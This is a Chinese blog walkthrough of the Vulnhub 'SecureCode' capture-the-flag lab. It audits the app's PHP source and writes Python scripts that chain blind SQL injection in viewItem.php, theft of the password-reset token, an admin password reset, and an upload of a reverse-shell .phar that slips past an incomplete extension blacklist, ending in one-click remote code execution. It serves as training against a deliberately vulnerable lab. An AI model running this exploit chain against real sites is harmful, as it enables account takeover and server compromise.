网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

admin 2022年9月10日16:00:45评论111 views字数 7225阅读24分5秒阅读模式
网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

00:前言


这次给大家带来的是Vulnhub secure code靶机。这个靶机是偏向于代码审计的,也可以顺便练习下编写脚本达到一键RCE化。下载链接: http://www.vulnhub.com/entry/securecode-1,651/


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

01:信息收集


这里就快速的过一下如何到达获取源码进行代码分析部分。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

02:源码基础分析


这里用pycharm或者是visual打开整个文件夹会清晰很多


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

为了快速整理整个网站的框架这里画了张图帮助理解。首先是db.sql这个数据库的文件,主要有三个表。其中user比较重要,可以知道目前该网站用户的大部分信息。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

只不过漏了一个比较重要的token,后面发现是随机生成的并且每次发起忘记密码申请会重新生成一个新的出来。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

接下来是include文件夹的基础分析include主要是包含了一个连接文件,指定跟后台哪个数据库进行交互,还有一个是header的设置和验证当前用户是否已登录。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

03:登录界面分析


接下来去到一个重点区域登录界面,首先访问登录页面长这样发现对应代码部分为login.php。页面有两个功能一个是正常登录另外一个是点忘记密码找回功能。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

查看login.php的源代码,发现分别指向两个地方,一个是checkLogin.php,另外一个是resetPassword.php。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

这里先跟进一下checkLogin,可以发现输入username以后有一个mysql_real_escape_string的保护。sql万能密码注入的梦想遇到了一点困难。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

而resetPassword这里包含的东西也比较多,前台访问页面时长这样的。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

随后看了看源代码,首先这里输入username也是做了一个mysql_real_escape_string的小保护。随后发现了另外一个变量$token。这里有一个逻辑判断如果输入的用户名存在就返回重设密码连接已发送请检查,如果没有就返回找不到用户名。通过前面的数据库文件已知admin为有效用户。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

往下拉可以看到token的生成方法是随机生成十几位的字符串,当然可以强行爆破。只不过有点费时间。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

最后一部分就是发送的链接格式,可以看到如果有效用户名存在会生成一个链接,前面的doResetPassword.php是固定的而唯一一个变数是token的参数。只有知道了token的具体值才可以重设admin的密码。但是在查看数据库文件的时候发现token是唯一一个空白的,只能用其它办法获取。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

04:查看物品部分分析


至于源代码中的user和profile都包含了isauthenticated.php代表着目前没一个有效用户基本都进不去。在线MD5也解密不成功。Item部分包含image目录里面有4张图片,而其它大部分页面都包含了isAuthenticated.php,正常来讲是访问不到的


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

但是发现了viewItem.php文件并没有包含验证文件。这里可以看到该页面包含一个id的参数。如果id参数查询不在数据库有效范围内就会弹出一个404的界面。如果参数有效并发现该用户似乎还没有登录就弹回到登录界面。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

这里可以看回数据库文件,可以发现有效ID是1-4代表着4件物品。如果id是5就会弹回login的界面,虽然id这里似乎也是做了一个保护但是我们可以利用盲注进行数据获取。利用页面是404还是跳转进行一个判断。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

这里先输入id为5,然后加入经典的or1=1发现页面并没有跳转到登录界面,如果没有的话就会像第二张图一样跳回登录界面。


网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

05:编写基础脚本验证


这里首先会从sql一步一步到达一键RCE,一开始并不会太难。首先会利用python模拟上一步在id=5的操作。分别是加上or 1=1和正常输入该URL。代码如下所示首先是导入requests库和定义好请求头还有定义目标的URL。随后开始发送get请求和观察其状态码。接下来在原有的URL基础上外加or 1=1顺便观察下会发生什么。


import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}url = 'http://192.168.72.170/item/viewItem.php?id=5'qingqiu = requests.get(url,headers=headers,allow_redirects=False)qingqiu.encoding = "utf-8"print("状态码:",qingqiu.status_code)payload ="+or+1=1#"url1 = url+payloadurl1 = requests.get(url1,headers=headers,allow_redirects=False)print("payload=",payload)print("第二次状态码:",url1.status_code)

运行该脚本以后可以看到直接访问URL会进行跳转而加上了or 1=1以后继续保持了404页面没有跳转达到之前手工的效果。

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

这里先回顾一下,目前我们找到的viewItem点存在SQL注入问题。我们可以借助注入获取刚才唯一空白的token部分。通过获取到的token去更改admin现有的密码。盲注也是比较麻烦的,在前面代码分析的时候目前已经知道了该cms用的是hackshop数据库还有一些表。这里我们只需要做一个简单的验证然后尝试去枚举token的值即可。因此我们首先可以看看第一个字段是否为h,代码如下所示还是像往常一样导入库定义headers,只不过URL要换一下变成参数为1后面的注入发现变为原有ID才能有不同的状态码。随后定义盲注的语句可以把103变成104观察是否存在不同的状态码。

import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}url = 'http://192.168.72.170/item/viewItem.php?id=1'payload1 = " and Ascii(substring(database(),1,1)) = 103"#payload1 =" and ascii(substr((select token from user limit 0,1),1,1))=88"#payload1 =" and ascii(substr((select token from user limit 0,1),1,1))=X"#payload1 = " and length((select token from user limit 0,1))>1"url1 = url+payload1print(url1)url1 = requests.get(url1,headers=headers,allow_redirects=False)print("payload=",payload1)print("状态码:",url1.status_code)

最后的结果也如下图所示。如果正确则状态码为404,否则为302.

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

目前也已经可以大概确定数据库是正常状态,并且已知有user表还有一些关键字段这里我们就可以跳到判断token长度随后再枚举token的值代码如下所示这里创建了一个for循环从1开始慢慢加上去,不断的替换>后面的值。正常请求来讲会变成404,如果大于某个值以后会变成302状态码进行跳转然后程序退出运行。

#!/usr/bin/python3# -*- coding:utf-8 -*-import requestsfor i in range(1, 20):    payload = " and length((select token from user limit 0,1))>%s" % (i)    url = 'http://192.168.72.171/item/viewItem.php?id=1'    url1 = url + payload    zhuangtai = requests.get(url1, allow_redirects=False)    zhuangtai.encoding = "utf-8"    if zhuangtai.status_code == 404:        print("正常")    else:        print("有问题")        print('payload=', payload)        exit(0)

运行结果如下所示,当大于15的时候会发生跳转也就说token的长度为15.

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

确定长度以后我们就可以开始枚举具体内容了。代码如下所示这次就进行双循环并且一开始先定义了一个result用来存放最后的结果。随后利用双循环不断替换其中的值进行枚举如果枚举正确则把该数值顺便输出出来,再把该ascii的值转换为字符串然后存放到结果里面。

#!/usr/bin/python3# -*- coding:utf-8 -*-import requestsresult = ""for i in range(1, 16):    for j in range(32, 126):        payload1 = " and ascii(substr((select token from user limit 0,1),%s,1))=%s" % (i, j)        url = 'http://192.168.72.171/item/viewItem.php?id=1'        url1 = url + payload1        # print(url1)        zhuangtaima = requests.get(url1, allow_redirects=False)        zhuangtaima.encoding = "utf-8"        if zhuangtaima.status_code == 404:            print("正常")            print('payload=', payload1)            number = int("%s" % (j))            print("字符串:", chr(number))            result = result + chr(number)            print("token:", result)print("结果:", result)

最后输出如下所示。可以得到具体的token是该字符串

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

这里可以拼接一下URL可以确认该token有效并且可以直接更改密码了。

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

06:开始编写不那么基础脚本


目前来讲我们还是需要手工验证的。下一步我们的想法就是利用python达到一键修改的效果。这里我们梳理一下流程

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

这里我们知道当输入完有效用户名以后系统会告诉我们成功,已经发送了链接

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

那么要做的就是先点击忘记密码功能,然后用POST的方法把admin提交上去。随后检查页面是否出现成功提示,如果没有则判断提交失败随后开始注入。注入完以后拼接新的URL,最后再以POST的方法提交我们的新密码。最后我们的代码如下

#!/usr/bin/python3# -*- coding:utf-8 -*-import requests# proxies = {"http":"http://127.0.0.1:8080"}session = requests.Session()password = 'adminadmin'def get_forgetpassword():    wangye = requests.get('http://192.168.72.171/login/resetPassword.php')    forget = requests.post('http://192.168.72.171/login/resetPassword.php', data={'username': 'admin'},                           allow_redirects=True)    if "Success" in forget.text:        print("申请重置成功")def get_token():    global result    result = ""    for i in range(1, 16):        for j in range(32, 126):            payload1 = " and ascii(substr((select token from user limit 0,1),%s,1))=%s" % (i, j)            url = 'http://192.168.72.171/item/viewItem.php?id=1'            url1 = url + payload1            # print(url1)            zhuangtaima = requests.get(url1, allow_redirects=False)            zhuangtaima.encoding = "utf-8"            if zhuangtaima.status_code == 404:                print("正常")                print('payload=', payload1)                number = int("%s" % (j))                print("字符串:", chr(number))                result = result + chr(number)                print("token:", result)    print("结果:", result)    return resultdef reset():    url = "http://192.168.72.171/login/doResetPassword.php?token="    token = result    fangwen = requests.get(url=url + token)    chongzhi = requests.Session()    jieguo = session.post('http://192.168.72.171/login/doChangePassword.php',                          data={'token': token, 'password': password}, allow_redirects=True)def main():    get_forgetpassword()    get_token()    reset()if __name__ == '__main__':    main()

最后输入我们一开始就定义好的密码成功登录

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

我们也可顺便把修改好的密码附上并尝试利用python帮我们登录看看能不能成功代码如下

def login():   url = "http://192.168.72.171/login/checkLogin.php"   username ='admin'   s = requests.Session()   denglu = s.post(url,data={'username':username,'password':password},allow_redirects=True)   if "Congrats, FLAG1:" in denglu.text:      print("登录成功")

最后也是可以看到成功登录了。

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

07:登录后的分析


在登录成功以后下一步可以尝试分析是否存在文件上传功能部分这里在编辑现有的items功能发现一处图片上传功能点。

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

在代码角度可以看到会顺便指向updateItem.php文件

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

跳到updateItem.php以后可以发现先是定义了黑名单后缀。随后如果一切正常则把图片上传到image目录下。这里可以发现黑名单后缀过滤的并不是很全面。有漏网之鱼比如说.php7或者是.phar忘记上黑名单了。

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

那么我们再添加两个小部分代码如下再登录成功以后我们需要借助session去跳转到编辑物品页面然后把我们的反弹.phar放上去最后进行一个更新。最后再去前台访问我们的.phar文件即可。

def login():    url = "http://192.168.72.171/login/checkLogin.php"    username = 'admin'    s = requests.Session()    denglu = s.post(url, data={'username': username, 'password': 'zhengzailianxi'}, allow_redirects=True)    if "Congrats, FLAG1:" in denglu.text:        print("登录成功")
item = s.get('http://192.168.72.171/item/index.php?page=item') if "Raspery Pi 4" in item.text: print("跳转成功") edit = s.get('http://192.168.72.171/item/editItem.php?id=1') if "Edit Item" in edit.text: print("跳转到文件上传成功") file_data = {'image': ('test.phar', open('test.phar', 'rb'), 'image/jpeg')} data = {'id': 1, 'id_user': 1, 'name': "Raspery Pi 4", "description": "hello world", "price": 12} update = s.post('http://192.168.72.171/item/updateItem.php', data=data, files=file_data, proxies=proxies) if "Item data has been edited" in update.text: print("上传成功")

def getshell(): requests.get('http://192.168.72.171/item/image/test.phar')

最后就是把所有功能拼接在一起然后运行从而达到一键RCE的效果。

网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)


原文始发于微信公众号(神隐攻防实验室):网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月10日16:00:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络安全Vulnhub:secure code靶场(代码审计,编写一键RCE脚本)https://cn-sec.com/archives/1288356.html

发表评论

匿名网友 填写信息